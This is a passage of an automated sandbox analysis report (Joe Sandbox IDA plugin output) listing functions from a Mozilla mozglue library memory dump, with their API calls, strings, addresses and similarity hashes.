memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CAA483A,?), ref: 6CA64AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CAA483A,?), ref: 6CA64A82

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CAA483A,?), ref: 6CA64A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CAA483A,?), ref: 6CA64A35

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CAA483A,?), ref: 6CA64A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CAA483A,?), ref: 6CA64AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CAA483A,?), ref: 6CA64B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CAA483A,?), ref: 6CA64B2C

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 29b5b3cadaadcdd6ce6838fdae1aed15b2d6d66e96efaf04733ffabcf68768a6
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: B7716AB190070A9FCB14CF69C590AAAB7F5FF19308B104A3ED15A9BB41E731E599CB90

Function 6CAB9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB8273), ref: 6CAB9D65
free.MOZGLUE(6CAB8273,?), ref: 6CAB9D7C
free.MOZGLUE(?,?), ref: 6CAB9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAB9E0F
free.MOZGLUE(6CAB946B,?,?), ref: 6CAB9E24
free.MOZGLUE(?,?,?), ref: 6CAB9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAB9EC8
free.MOZGLUE(6CAB946B,?,?,?), ref: 6CAB9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAB9EF5

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 5cf88c6d2a02a66cfef971d2e400af4de40742cb2d5b1d14731fdb48c2016ffe
Instruction ID: a0535c0347707f8100f511664963e24e5f6d67f3417e28e395c8d52e31a6652d
Opcode Fuzzy Hash: 5cf88c6d2a02a66cfef971d2e400af4de40742cb2d5b1d14731fdb48c2016ffe
Instruction Fuzzy Hash: 2071807050AB418BD712CF29C68055BF3F5FF99315B449619EC5A5B701EB30E8C5CB91

Function 6CABDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CABDDCF

Part of subcall function 6CA9FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA9FA4B

Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB90FF
Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDE0D
free.MOZGLUE(00000000), ref: 6CABDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAADEFD,?,6CA74A68), ref: 6CABDF32

Part of subcall function 6CABDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CABDB86
Part of subcall function 6CABDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CABDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAADEFD,?,6CA74A68), ref: 6CABDF65
free.MOZGLUE(?), ref: 6CABDF80

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f7aa92272b197f8d3f110c1059fb6830c13283b9ebd5ca948659a341909b8728
Instruction ID: 714d429acc277c9606bf03fa363824929015e4161b352ac447857ac018457997
Opcode Fuzzy Hash: f7aa92272b197f8d3f110c1059fb6830c13283b9ebd5ca948659a341909b8728
Instruction Fuzzy Hash: C651C772E057019BD711CB28C9806AEB37ABF95708F99051CE81A73B04D731F89ACB92

Function 6CAC5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5DC9
std::_Facet_Register.LIBCPMT ref: 6CAC5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5E45

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: fe74d9d428997c6b46df61b4ced328bb1d2aee844cc8c240373588d4967c54af
Instruction ID: dc2aa41dc322aef58a0599999991339908e2391b2a9fc10d2205f3d96a16f1ca
Opcode Fuzzy Hash: fe74d9d428997c6b46df61b4ced328bb1d2aee844cc8c240373588d4967c54af
Instruction Fuzzy Hash: 7541B2307003068FCB04DFA9D8D8AAE77B5EF48314F088168E50697791DB34EC86DBA1

Function 6CA9CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA631A7), ref: 6CA9CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA9CFA4, 6CA9CFB8
<jemalloc>, xrefs: 6CA9CF9F, 6CA9CFB3

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 3b09a6da4fb2e06bb181a60d055824659fcc8cb0bf634566bb376ab0eaa58fa3
Instruction ID: 869fbe4ca793360c58da392c70014a7b7f0fa97f7bf424b4e407c72bf255bb9b
Opcode Fuzzy Hash: 3b09a6da4fb2e06bb181a60d055824659fcc8cb0bf634566bb376ab0eaa58fa3
Instruction Fuzzy Hash: 3F31F630B507065BEF04AFA98C46B6E3BF5BB4570CF248114F612ABAC0DB70D88197E4

Function 6CA6ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA6F100: LoadLibraryW.KERNEL32(shell32,?,6CADD020), ref: 6CA6F122
Part of subcall function 6CA6F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA6F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA6ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA6EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA6EDCC
CreateFileW.KERNEL32 ref: 6CA6EE08
free.MOZGLUE(00000000), ref: 6CA6EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA6EE32

Part of subcall function 6CA6EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA6EBB5
Part of subcall function 6CA6EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA9D7F3), ref: 6CA6EBC3
Part of subcall function 6CA6EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA9D7F3), ref: 6CA6EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA6EDC1

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 6b350aec5b69a26516ffa93203b0c1c6200768359c8a490228e71568dd46703d
Instruction ID: abb0f68d95009f846f3d511fce4bc3d399b64b18834cbdc082dba83651441c72
Opcode Fuzzy Hash: 6b350aec5b69a26516ffa93203b0c1c6200768359c8a490228e71568dd46703d
Instruction Fuzzy Hash: B451CC71D05304DBDB00DF6ACD406AEB7B0AF49318F48852DE8556BB80E730A9C8CBE2

Function 6CADA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADA565

Part of subcall function 6CADA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CADA4BE
Part of subcall function 6CADA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CADA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CADA6B6

Strings

z, xrefs: 6CADA6AE
0, xrefs: 6CADA5FB

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: c4d0e21dbe12d805cbd04c32ad611b707d8751af2c2b3e1516bc7ae007320c29
Instruction ID: 1174e102c14c2c30cc923d6eadc562f3636838d2eca68ae38d85f219bb2115a4
Opcode Fuzzy Hash: c4d0e21dbe12d805cbd04c32ad611b707d8751af2c2b3e1516bc7ae007320c29
Instruction Fuzzy Hash: BE413971919745DFC341DF28C080A8BBBF5BF89354F418A2EF49987650EB30E989CB82

Function 6CA678C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CAE008B), ref: 6CA67B89
free.MOZGLUE(?,6CAE008B), ref: 6CA67BAC

Part of subcall function 6CA678C0: free.MOZGLUE(?,6CAE008B), ref: 6CA67BCF

free.MOZGLUE(?,6CAE008B), ref: 6CA67BF2

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 74f384f1e962216c899ad5dce5ce167ec2c44afb8a628d5633591c04c2ca993a
Instruction ID: c0a3b365a3baad9a6177a8c726646910ffd43373b6105e72c8d51aa7ae0c0412
Opcode Fuzzy Hash: 74f384f1e962216c899ad5dce5ce167ec2c44afb8a628d5633591c04c2ca993a
Instruction Fuzzy Hash: CFC18D71A111288BEB24CB6ACD90B9DB772AF41318F1547A9D41AEBFC0C7319EC98F51

Function 6CAA9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
__Init_thread_footer.LIBCMT ref: 6CAA949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAA9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAA947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAA946B

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: d77a9c58537fed42a668108fce31887314e42dea5c9095751f5281b3fc0a78cf
Instruction ID: 2b282edbc29c3e9fb8f999e0127c24cac680ca8a2c4e21f82ff74cd86c358ba5
Opcode Fuzzy Hash: d77a9c58537fed42a668108fce31887314e42dea5c9095751f5281b3fc0a78cf
Instruction Fuzzy Hash: D501B974A003028FE74497ADED1155533B5E70E32CF04853BD90587A42D622D9D7AAE6

Function 6CAB0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAB0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB0F88
GetCurrentThreadId.KERNEL32 ref: 6CAB0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CAB1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CAB10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CAB114B

Part of subcall function 6CAA8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CAC1563), ref: 6CAA8BD5

free.MOZGLUE(?), ref: 6CAB1174
free.MOZGLUE(?), ref: 6CAB1186

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: ea5f74d9273c7a542f5360fd142a417039ce19ac669962860d22941fa8eecf04
Instruction ID: 373b31187e98a974c60eff972cdaffe8c82211697d13c7d94f55b4ac636d3bdc
Opcode Fuzzy Hash: ea5f74d9273c7a542f5360fd142a417039ce19ac669962860d22941fa8eecf04
Instruction Fuzzy Hash: 7761C175A043419FDB10CF24D9807AAB7F9BFC9308F04891DE99A67711EB71E589CB82

Function 6CA6B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B6AC

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA6B61E), ref: 6CA6B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA6B61E,?,?,?,?,?,00000000), ref: 6CA6B79A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 0e1abb1d5910cf213794d07a10be965ac595518cb38893ef6bb16143447f940d
Instruction ID: 2289595b9c709a781495459d9f4fdb1a176e43a1a8b226a2c7a24c61962deff3
Opcode Fuzzy Hash: 0e1abb1d5910cf213794d07a10be965ac595518cb38893ef6bb16143447f940d
Instruction Fuzzy Hash: F241B4B2D011159FCB14DF69EC806AEF7B5BB44324F290729F825E7B80E731A95487E1

Function 6CA6EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CAE5104), ref: 6CA6EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA6EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA6EFEC
free.MOZGLUE(?), ref: 6CA6F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA6F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CA6F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F065
moz_xmalloc.MOZGLUE ref: 6CA6F072

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 80150309f8ec7dbab22568e4df90e2764170d5efc60ac416742240a3b1407f08
Instruction ID: 3a171496b9cc546ee3f601d9b975085a7cb6c55c7207fbdd929023e864850069
Opcode Fuzzy Hash: 80150309f8ec7dbab22568e4df90e2764170d5efc60ac416742240a3b1407f08
Instruction Fuzzy Hash: 4241E7B1A002059FCB08CF68DD819AF7765BF88318B25422CE815DBB94FB31E955C7E1

Function 6CADB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CADB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CADB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CADB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CADB5F4
__Init_thread_footer.LIBCMT ref: 6CADB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CADB61F
std::_Facet_Register.LIBCPMT ref: 6CADB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADB655

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 7d04a01d9f9e914132b422ed710f2554ea6ada123da2cc61ed664189ba5a031b
Instruction ID: 035c865127cde5bf0f0c0459817ca13dc50b5d16bf36d9a21c7cd6105bec6751
Opcode Fuzzy Hash: 7d04a01d9f9e914132b422ed710f2554ea6ada123da2cc61ed664189ba5a031b
